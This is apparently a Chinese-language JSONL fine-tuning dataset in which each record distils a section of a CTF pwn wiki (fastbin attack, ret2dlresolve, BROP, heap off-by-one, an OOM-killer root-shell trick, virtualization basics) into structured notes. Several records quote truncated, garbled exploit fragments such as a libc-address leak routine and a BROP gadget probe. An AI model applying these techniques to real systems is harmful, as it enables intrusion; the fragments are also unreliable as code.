漏洞最简单的方法当然是 fastbin attack 了，所以我采用了 fastbin attack。\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 9 行，首行 `+------------+`\n- plain: 13 行，首行 `+------------+`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1999, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "漏洞利用分析", "heading_path": ["vim:fenc=utf-8", "实例 2 : plaidctf 2015 plaiddb", "漏洞利用分析"], "original_id": "docs-85d0a1fbcc0462614111", "original_line": 55, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "b8babb7ff0488cddb4da2a9d", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d65585069092ade370ee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「总结」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：gdb.attach(io) > 总结\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“总结”展开。\n- | 总的来说，与 ret2dlresolve 攻击最为相关的一些动态节为 - DT_JMPREL - DT_SYMTAB - DT_STRTAB - DT_VERSYM\n- | | 修改 dynamic 节的内容 | 修改重定位表项的位置 | 伪造 linkmap | | ------------ | --------------------- | ------------------------------------------------------------ | ---------------------------------------------------- | | 主要前提要求 | 无 | 无 | 无信息泄漏时需要 libc | | 适用情况 | NO REL...\n- 确保重定位表项、符号表、字符串表一一对应 | 确保重定位位置可写；\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 479, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "总结", "heading_path": ["gdb.attach(io)", "总结"], "original_id": "docs-c94bcc1c608fff2ceb6f", "original_line": 74, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "c906fe637315f9912a0d5827", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d763fb64f5ddef24b9d9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「识别brop gadgets」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 例子 > 识别brop gadgets\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“识别brop gadgets”展开。\n- 下面，我们根据上面介绍的原理来得到对应的brop gadgets地址。\n- ``python def get_brop_gadget(length, stop_gadget, addr): try: sh = remote('127.0.0.1', 9999) sh.recvuntil('password?\n- 构造如下，get_brop_gadget是为了得到可能的brop gadget，后面的check_brop_gadget是为了检查。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:python\n\n代码/命令片段线索：\n- python: 42 行，首行 `def get_brop_gadget(length, stop_gadget, addr):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1155, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "识别brop gadgets", "heading_path": ["中级ROP", "BROP", "例子", "识别brop gadgets"], "original_id": "docs-cb86a6c9d606cbd460cf", "original_line": 1295, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "692bbf0a31bd1374605949bc", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:python"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d794f8bc643d7f6cce7d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「2018-安恒杯-babypie」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\") > 栈上的 partial overwrite > 2018-安恒杯-babypie\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018-安恒杯-babypie”展开。\n- 以安恒杯 2018 年 7 月月赛的 babypie 为例分析这一种利用技巧, 题目的 binary 放在了 ctf-challenge 中\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 180, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "2018-安恒杯-babypie", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")", "栈上的 partial overwrite", "2018-安恒杯-babypie"], "original_id": "docs-44a3727820dba9351508", "original_line": 1270, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "d8f5ffec9c8b3425d8aed1bd", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d832d1eef7773bd432a2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/mem-virtualization.md` 中的章节「虚拟机内存访问原理及遇到的问题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/mem-virtualization.md`\n标题：内存虚拟化\n章节：内存虚拟化 > 纯软件实现内存虚拟化 > 虚拟机内存访问原理及遇到的问题\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“虚拟机内存访问原理及遇到的问题”展开。\n- > 在 QEMU 当中访问内存的核心函数是 address_space_rw()，实现了 GPA->HVA`，感兴趣的同学可以看一下其内部实现。\n- 为了实现内存空间的隔离，Hypervisor 需要为 Guest VM 准备一层新的地址空间：Guest Physical Address Space，从 Guest 侧其只能看到这一层地址空间，Hypervisor 需要记录从 GPA 到 HVA 之间的转换关系。\n- GPA 在 Qemu 的实现当中实际上是对应映射到 Host 中一大块 mmap 的内存上的，所以我们还需要将 GPA 再转换为 Host Virtual Address（HVA）。\n- 最后再通过 Host 上的页表将 HVA 转化为 Host Physical Address（HPA）。\n- 在 Guest 多级页表的寻址当中同样也要多次经过 GPA->HPA 的转换查询过程。\n\n关键术语：\n- pwn\n- virtualization\n- basic-knowledge\n- mem-virtualization.md\n\n代码/命令片段线索：\n- plain: 25 行，首行 `Guest' processes`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1218, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "虚拟机内存访问原理及遇到的问题", "heading_path": ["内存虚拟化", "纯软件实现内存虚拟化", "虚拟机内存访问原理及遇到的问题"], "original_id": "docs-4c5e7ea682de2e2208bb", "original_line": 1417, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/mem-virtualization.md", "source_root": "docs", "source_sha256": "3a0d37c0b95de80ceec92b908d93c53d97b6ee855f6fca3c6c5b405221e68c91", "split": "train", "split_group_key": "d64c82bad112c403d32c5c1d", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["pwn", "virtualization", "basic-knowledge", "mem-virtualization.md"], "title": "内存虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/mem-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d84fa64c0bc46648d4e8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「泄漏 libc 地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 利用 > 泄漏 libc 地址\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“泄漏 libc 地址”展开。\n- 因而，只要 unsorted bin 的地址的起始字节不是 \\x00 便可以通过验证。\n- 同时，我们可以构造 \\x00 来进行比较，从而通过验证。\n- 具体如下 ``python def leak_libc(): smallbin_sentence = 's' * 0x85 + ' m ' index_sentence(smallbin_sentence) search_word('m') p.recvuntil('Delete this sentence (y/n)?\n- \\n') p.sendline('y') search_word('\\x00') p.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ') unsortedbin_addr = u64(p.recv(8)) p.recvuntil('Delete this sentence (y/n)?\n- \\n') p.sendline('n') return unsortedbin_addr ``\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 12 行，首行 `def leak_libc():`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 531, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "泄漏 libc 地址", "heading_path": ["Fastbin Attack", "2015 9447 CTF : Search Engine", "利用", "泄漏 libc 地址"], "original_id": "docs-7b4cac1c6622bf8a524a", "original_line": 931, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "a07785afa05c70bcb19f216f", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d869211562f56fc6c967", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md` 中的章节「利用内存溢出触发 OOM Killer 提供 root shell」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md`\n标题：利用内存溢出触发 OOM Killer 提供 root shell\n章节：利用内存溢出触发 OOM Killer 提供 root shell\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用内存溢出触发 OOM Killer 提供 root shell”展开。\n- 在以前文为例的 CTF kernel pwn 环境当中，我们通常主要关注如下三个进程： rcS 、 sh 、 exploit，当这三个进程都被 Kill 掉会发生什么？\n- 而此前绝大部分 Linux kernel pwn 环境的配置通常都直接或间接地遵循了 BusyBox 官方给出的示例规范，其中对于 /etc/inittab 给出的 示例 以及在 不存在该文件时的默认行为 如下： ```\n- 在 Linux 系统当中对于进程所能分配的内存通常会有一定的限制，但对于 CTF 环境而言其虚拟机本身的内存大小通常较小（如 128MB），因此用户进程所能够分配的内存可以很容易达到系统物理内存上限，从而唤醒 OOM Killer 杀死进程。\n- 我们可以通过 procfs 接口中的 /proc/[pid]/oom_score 查看一个进程当前的 OOM Score。\n- 需要注意的是在一次唤醒当中 OOM Killer 可能会杀死多个进程，因为单次回收的内存未必能够满足最初的内存分配需求，原因包括内存碎片化、单个进程内存回收量不足以满足需求等。\n\n关键术语：\n- 边界/溢出\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 974, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "利用内存溢出触发 OOM Killer 提供 root shell", "heading_path": ["利用内存溢出触发 OOM Killer 提供 root shell"], "original_id": "docs-8f1ee83629ede7d24bf4", "original_line": 832, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md", "source_root": "docs", "source_sha256": "10560a87f70732d7331fa0c3e8c736a4f44e33632f40fef391a858737062a392", "split": "train", "split_group_key": "825e4748ecd1be50d97ac272", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "利用内存溢出触发 OOM Killer 提供 root shell"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d8954dde797e20697d66", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「IO 虚拟化」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`\n标题：IO 虚拟化\n章节：IO 虚拟化\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 现实的外设资源往往是有限的，同时我们有的时候并不需要让 VM 直接接触到现实存在的外设资源，有的时候我们还想为 VM 提供一些不存在实体设备的设备，因此 Hypervisor 需要通过 IO 虚拟化的方式来为 VM 提供虚拟的设备资源。\n- I/O 虚拟化需要实现以下三个任务： - 访问截获：Hypervisor 需要截获 VM 对外设的访问操作。\n- 提供设备接口：Hypervisor 需要为 VM 提供虚拟/直通设备的接口。\n- 实现设备功能：Hypervisor 需要实现虚拟设备的功能。\n- 从处理器的角度而言，我们与外设之间的交互主要是通过 MMIO 与 Port IO 来完成的，因而针对外设的虚拟化称之为 I/O 虚拟化。\n\n关键术语：\n- pwn\n- virtualization\n- basic-knowledge\n- io-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 327, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "IO 虚拟化", "heading_path": ["IO 虚拟化"], "original_id": "docs-8016fd1ddda562e1f8e6", "original_line": 1408, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "source_root": "docs", "source_sha256": "ff9b01703451d093829def71a27f03c2cc2aac081cf073a0628e028fe37eb910", "split": "train", "split_group_key": "89276d078cbb6df9ca279722", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["pwn", "virtualization", "basic-knowledge", "io-virtualization.md"], "title": "IO 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d8c54bd55d17cc2bfa55", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「下载 BusyBox 源码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：搭建内核运行环境 > 使用 BusyBox 搭建基本的文件系统 > 下载编译 busybox > 下载 BusyBox 源码\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“下载 BusyBox 源码”展开。\n- 我们首先在 busybox.net 下载自己想要的版本，笔者这里选用 1.36.0 版本： ``shell $ wget https://busybox.net/downloads/busybox-1.36.0.tar.bz2 ` 完成后进行解压： `shell $ tar -jxvf busybox-1.36.0.tar.bz2 ``\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `$ wget https://busybox.net/downloads/busybox-1.36.0.tar.bz2`\n- shell: 1 行，首行 `$ tar -jxvf busybox-1.36.0.tar.bz2`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 214, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "下载 BusyBox 源码", "heading_path": ["搭建内核运行环境", "使用 BusyBox 搭建基本的文件系统", "下载编译 busybox", "下载 BusyBox 源码"], "original_id": "docs-c49883bc13793dd8306a", "original_line": 37, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "22e266c5139687127e6554e9", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:shell"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d9aa222ad94969a171da", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「64 位的变化」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：read /bin/sh\\x00 > Partial RELRO > 手工伪造 > 64 位的变化\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“64 位的变化”展开。\n- CODE XREF: main+B3↓p .plt:0000000000400510 jmp cs:off_601018 .plt:0000000000400510 _write endp .plt:0000000000400510 .plt:0000000000400516 ;\n- 根据 IDA 里的重定位表的信息可以知道，write 函数在符号表中的偏移为 1（0x100000007h>>32） 。\n- glibc 中默认编译使用的是 ELF_Rela 来记录重定位项的内容 ``c typedef struct { Elf64_Addr r_offset;\n- R_X86_64_JUMP_SLOT read LOAD:00000000004004D0 LOAD ends ` 确实在符号表中的偏移为 1。\n- ` 在 64 位下，Elf64_Sym 结构体为 `c typedef struct { Elf64_Word st_name;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n- code:assembly\n- code:shell\n\n代码/命令片段线索：\n- c: 10 行，首行 `typedef struct`\n- assembly: 6 行，首行 `LOAD:0000000000400488 ; ELF JMPREL Relocation Table`\n- shell: 7 行，首行 `LOAD:00000000004002C0 ; ELF Symbol Table`\n- c: 9 行，首行 `typedef struct`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2479, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "64 位的变化", "heading_path": ["read /bin/sh\\x00", "Partial RELRO", "手工伪造", "64 位的变化"], "original_id": "docs-fa1fad1067d3ac50567d", "original_line": 1350, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "f7b0bdd8b26da09b87304a3e", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow", "code:c", "code:assembly", "code:shell"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d9bef7a817ccef1a8048", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「功能分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：vim:fenc=utf-8 > 实例 2 : plaidctf 2015 plaiddb > 功能分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“功能分析”展开。\n- } ` 主要使用了二叉树的结构来存储数据，具体存储过程其实并不影响利用。\n- // <--- 漏洞所在，此时 v3 作为索引，指向了下一个位置，如果位置全部使用完毕则会指向下一个本应该不可写位置 } v3 = 0;\n- } ` 几个主要功能： ` unsigned __int64 main_fn() { char v1[8];\n- 功能函数需要注意的是 getline (自己实现的单行读取函数): ` char __fastcall getline(__int64 a1, __int64 a2) { char v2;\n- off by one （NULL 字节溢出） return v2;\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 9 行，首行 `struct Node {`\n- plain: 38 行，首行 `char *__fastcall getline(__int64 a1, __int64 a2)`\n- plain: 31 行，首行 `unsigned __int64 main_fn()`\n- plain: 53 行，首行 `__int64 __fastcall cmd_put()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3031, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "功能分析", "heading_path": ["vim:fenc=utf-8", "实例 2 : plaidctf 2015 plaiddb", "功能分析"], "original_id": "docs-db23f38cd2eb90740fbe", "original_line": 1022, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "04740c803cbd9b820015fad5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
